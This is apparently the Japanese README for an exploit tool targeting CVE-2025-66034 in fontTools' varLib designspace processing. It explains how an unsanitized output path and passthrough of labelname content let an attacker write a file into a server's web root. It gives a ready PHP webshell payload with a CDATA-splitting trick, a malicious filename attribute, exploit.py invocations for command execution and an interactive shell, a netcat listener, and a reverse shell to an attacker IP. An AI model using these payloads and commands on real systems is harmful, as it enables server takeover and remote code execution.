
CVE-2025-66034 エクスプロイトとドキュメント
fontTools は、フォントファイルを操作するための Python ライブラリです。その varLib モジュールは .designspace ファイルを処理します。これは、複数のフォントマスターを補間して可変フォントを生成する方法を記述する XML 形式です。
影響を受けるバージョンには、2つの脆弱性があります:
1. サニタイズされていない出力ファイル名
designspace ファイル内の <variable-font filename="..."> 属性は、varLib がコンパイル済みの出力フォントを書き込む場所を制御します。このライブラリは、このパスをファイルシステムに渡す前に、いかなる検証も正規化も行いません。攻撃者は、絶対パスまたはパストラバーサルシーケンスを指定して、プロセスが書き込みアクセス権を持つ任意の場所に出力ファイルを書き込むことができます。
2. XML コンテンツがそのまま出力に渡される
fontTools は、<labelname> 要素の軸ラベル名を、コンテンツをサニタイズすることなく、出力フォントの name テーブルに生のバイトとして直接シリアライズします。<labelname> ブロック内に配置された任意の文字列(PHP コードを含む)は、書き込まれたファイル内にそのまま含まれます。
これらの2つの脆弱性により、fontTools を採用した Web エンドポイントに designspace ファイルを送信できる攻撃者は、サーバー上の任意の書き込み可能なパスに、任意のコンテンツを含む任意のファイルを書き込むことができます。
designspace ファイルには、2つのインジェクションが含まれています。
1つ目は <labelname> 要素内にあります:
<labelname xml:lang="en"><![CDATA[<?php system($_REQUEST["cmd"]);?>]]]]><![CDATA[>]]></labelname>
XML の CDATA セクションは、エンティティエスケープなしで任意の文字データを許可しますが、その中に ]]> というシーケンスを含めることはできません。それによってセクションが終了するためです。PHP のクロージングタグ ?> は、単純に記述するとパースエラーを引き起こします。]]]]><![CDATA[> というシーケンスは、]] の直後に1つの CDATA セクションを終了させ、> で始まる新しいセクションを開くため、最終的にレンダリングされるコンテンツは <?php system($_REQUEST["cmd"]);?> — 構文的に有効な PHP — となり、XML パーサーエラーを一切引き起こしません。
2つ目は出力パス内にあります:
<variable-font name="MyFont" filename="/var/www/app/public/files/webshell.php">
fontTools は、パス正規化を行わずに、この文字列から出力ファイルハンドルを構築します。ファイルはその正確な場所に作成されます。
varLib はコンパイルに少なくとも1つのソースフォントを必要とします。マスターは実際のフォントである必要はありません — 単一の空のグリフを持つ最小限の TTF で検証を通過するのに十分です。このエクスプロイトに埋め込まれた base64 TTF は、fontTools の FontBuilder で生成され、正方形の輪郭を持つ .notdef グリフと、必要最小限のテーブル(head、hhea、OS/2、cmap、glyf、hmtx、name、post)のみを含みます。
このエクスプロイトは、designspace と TTF を multipart/form-data の POST として、Web アプリケーションのフォント生成エンドポイントに送信します。サーバーはファイルを varLib.build() に渡します。varLib は designspace を解析し、マスターを読み取り、可変フォントをコンパイルして、filename= で指定されたパス — Web ルート — に書き込みます。
書き込まれたファイルは、PHP ペイロードが内部に埋め込まれたバイナリフォントファイルです。PHP のパーサーは、ファイル全体が PHP で構成されていることを要求するのではなく、ファイル内のオープニングタグをスキャンします。Web サーバーがファイルを PHP として処理すると、<?php system($_REQUEST["cmd"]);?> を見つけて実行します。タグの前後のすべてはそのまま出力され、無視されます。
レスポンスボディは生のフォントバイナリです。コマンド出力は、fontTools が name テーブルに書き込む2つの予測可能なランドマークの間に配置されます:
TestWeight400 — 埋め込まれたマスター TTF の family および weight class フィールドに由来]]>ThinMEOW2 — designspace 内のフランス語の <labelname> 要素に由来このエクスプロイトは、これら2つの文字列の間でレスポンスをスライスし、BeautifulSoup で残存する XML タグを除去して、クリーンなコマンド出力を生成します。
pip install requests beautifulsoup4
3つのターゲットパラメータはすべて必須です。デフォルト値はハードコードされていません。
--process-url Full URL of the font processor endpoint
--shell-url Full URL where the webshell will be reachable after the write
--write-path Filesystem path the server will write the shell to
オプション:
--session PHPSESSID cookie value (if the portal requires authentication)
--no-plant Skip the upload step (shell already planted)
--hostname Label shown in the interactive prompt
python3 exploit.py \
--process-url http://app.example.com/tools/variable-font-generator/process \
--shell-url http://portal.example.com/files/webshell.php \
--write-path /var/www/portal.example.com/public/files/webshell.php \
exec 'id'
python3 exploit.py \
--process-url http://app.example.com/tools/variable-font-generator/process \
--shell-url http://portal.example.com/files/webshell.php \
--write-path /var/www/portal.example.com/public/files/webshell.php \
--session YOUR_PHPSESSID \
--hostname webserver \
interactive
まずリスナーを起動します:
nc -lvnp 4444
次にトリガーします:
python3 exploit.py \
--process-url http://app.example.com/tools/variable-font-generator/process \
--shell-url http://portal.example.com/files/webshell.php \
--write-path /var/www/portal.example.com/public/files/webshell.php \
revshell 10.10.16.1 4444
リバースシェルのペイロードは、cmd クエリパラメータ内でのシェルメタキャラクタのエスケープ問題を回避するため、送信前に base64 エンコードされます。
varLib モジュールの build() 関数と designspace パーサーに存在します。